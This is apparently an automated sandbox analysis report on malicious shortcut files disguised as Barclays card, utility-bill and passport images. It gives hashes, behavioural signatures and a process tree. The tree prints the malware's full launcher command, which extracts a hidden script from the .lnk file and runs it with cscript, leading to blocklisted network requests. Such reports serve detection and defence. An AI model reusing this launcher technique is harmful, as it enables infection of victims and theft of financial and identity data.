Overview
overview
10Static
static
Barclays C...pg.lnk
windows7_x64
10Barclays C...pg.lnk
windows10-2004_x64
10Barclays C...pg.lnk
windows7_x64
10Barclays C...pg.lnk
windows10-2004_x64
10Barclays U...pg.lnk
windows7_x64
10Barclays U...pg.lnk
windows10-2004_x64
10Personal P...pg.lnk
windows7_x64
10Personal P...pg.lnk
windows10-2004_x64
10Analysis
-
max time kernel
169s -
max time network
186s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220113 -
submitted
04-02-2022 08:41
Static task
static1
Behavioral task
behavioral1
Sample
Barclays CC Back.jpg.lnk
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Barclays CC Back.jpg.lnk
Resource
win10v2004-en-20220112
windows10-2004_x64
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
Barclays CC Front.jpg.lnk
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
Barclays CC Front.jpg.lnk
Resource
win10v2004-en-20220113
windows10-2004_x64
0 signatures
0 seconds
Behavioral task
behavioral5
Sample
Barclays Utility.jpg.lnk
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral6
Sample
Barclays Utility.jpg.lnk
Resource
win10v2004-en-20220113
windows10-2004_x64
0 signatures
0 seconds
Behavioral task
behavioral7
Sample
Personal Passport.jpg.lnk
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral8
Sample
Personal Passport.jpg.lnk
Resource
win10v2004-en-20220112
windows10-2004_x64
0 signatures
0 seconds
General
-
Target
Barclays CC Front.jpg.lnk
-
Size
83KB
-
MD5
42a0e13c97e0aa0867f769b71e378d24
-
SHA1
c7575dccc6d1a228393e9ac0840a4c10bb4c1fb2
-
SHA256
bb579920513264854cb4ff08d86eb4ee6c2ade66ca14abd9752320053a1a7028
-
SHA512
8106fb31144357c1e3ef61c74157ab60e5f81515d6c831347da09aae68c38fcb2cb58ae74758af1f4db32e590abf123c430821d86016191bedcdf579fbc59f0b
Score
10/10
Malware Config
Signatures
-
Blocklisted process makes network request 35 IoCs
flow pid Process 19 1496 cscript.exe 22 1496 cscript.exe 24 1496 cscript.exe 26 1496 cscript.exe 29 1496 cscript.exe 31 1496 cscript.exe 45 1496 cscript.exe 46 1496 cscript.exe 47 1496 cscript.exe 48 1496 cscript.exe 52 1496 cscript.exe 53 1496 cscript.exe 54 1496 cscript.exe 59 1496 cscript.exe 62 1496 cscript.exe 63 1496 cscript.exe 64 1496 cscript.exe 67 1496 cscript.exe 68 1496 cscript.exe 73 1496 cscript.exe 74 1496 cscript.exe 75 1496 cscript.exe 79 1496 cscript.exe 80 1496 cscript.exe 81 1496 cscript.exe 82 1496 cscript.exe 83 1496 cscript.exe 84 1496 cscript.exe 85 1496 cscript.exe 86 1496 cscript.exe 87 1496 cscript.exe 88 1496 cscript.exe 89 1496 cscript.exe 90 1496 cscript.exe 91 1496 cscript.exe -
Sets service image path in registry 2 TTPs
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation cscript.exe Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation cscript.exe -
Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 4584 cmd.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeShutdownPrivilege 1736 svchost.exe Token: SeCreatePagefilePrivilege 1736 svchost.exe Token: SeShutdownPrivilege 1736 svchost.exe Token: SeCreatePagefilePrivilege 1736 svchost.exe Token: SeShutdownPrivilege 1736 svchost.exe Token: SeCreatePagefilePrivilege 1736 svchost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2864 wrote to memory of 4584 2864 cmd.exe 83 PID 2864 wrote to memory of 4584 2864 cmd.exe 83 PID 4584 wrote to memory of 4344 4584 cmd.exe 84 PID 4584 wrote to memory of 4344 4584 cmd.exe 84 PID 4344 wrote to memory of 3352 4344 forfiles.exe 85 PID 4344 wrote to memory of 3352 4344 forfiles.exe 85 PID 4344 wrote to memory of 4092 4344 forfiles.exe 86 PID 4344 wrote to memory of 4092 4344 forfiles.exe 86 PID 4584 wrote to memory of 3708 4584 cmd.exe 87 PID 4584 wrote to memory of 3708 4584 cmd.exe 87 PID 4584 wrote to memory of 4992 4584 cmd.exe 88 PID 4584 wrote to memory of 4992 4584 cmd.exe 88 PID 4584 wrote to memory of 4588 4584 cmd.exe 89 PID 4584 wrote to memory of 4588 4584 cmd.exe 89 PID 4584 wrote to memory of 4284 4584 cmd.exe 91 PID 4584 wrote to memory of 4284 4584 cmd.exe 91 PID 4284 wrote to memory of 1396 4284 cscript.exe 93 PID 4284 wrote to memory of 1396 4284 cscript.exe 93 PID 1396 wrote to memory of 1496 1396 cscript.exe 95 PID 1396 wrote to memory of 1496 1396 cscript.exe 95
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Barclays CC Front.jpg.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Barclays CC Front.jpg*lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "RDE3">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"2⤵
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:4584 -
C:\Windows\system32\forfiles.exeforfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"3⤵
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\Windows\system32\cmd.exe/c move "C:\Users\Admin\AppData\Local\Temp\Barclays CC Back.jpg.lnk" C:\Users\Admin\AppData\Local\Temp\1.lnk4⤵PID:3352
-
-
C:\Windows\system32\cmd.exe/c move "C:\Users\Admin\AppData\Local\Temp\Barclays Utility.jpg.lnk" C:\Users\Admin\AppData\Local\Temp\1.lnk4⤵PID:4092
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""3⤵PID:3708
-
-
C:\Windows\system32\find.exefind "RDE3"3⤵PID:4992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" rd a"3⤵PID:4588
-
-
C:\Windows\system32\cscript.execScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4284 -
C:\Windows\System32\cscript.exe"C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\MediaPlayer\MediaManager\media.js4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1396 -
C:\Windows\System32\cscript.exe"C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\reportapi.js5⤵
- Blocklisted process makes network request
PID:1496
-
-
-
-
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe aa61a254f38363e630ddbbceb6fc5d9b 7vJ8eC2YoUWhRxH4VPnBEQ.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:316
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1736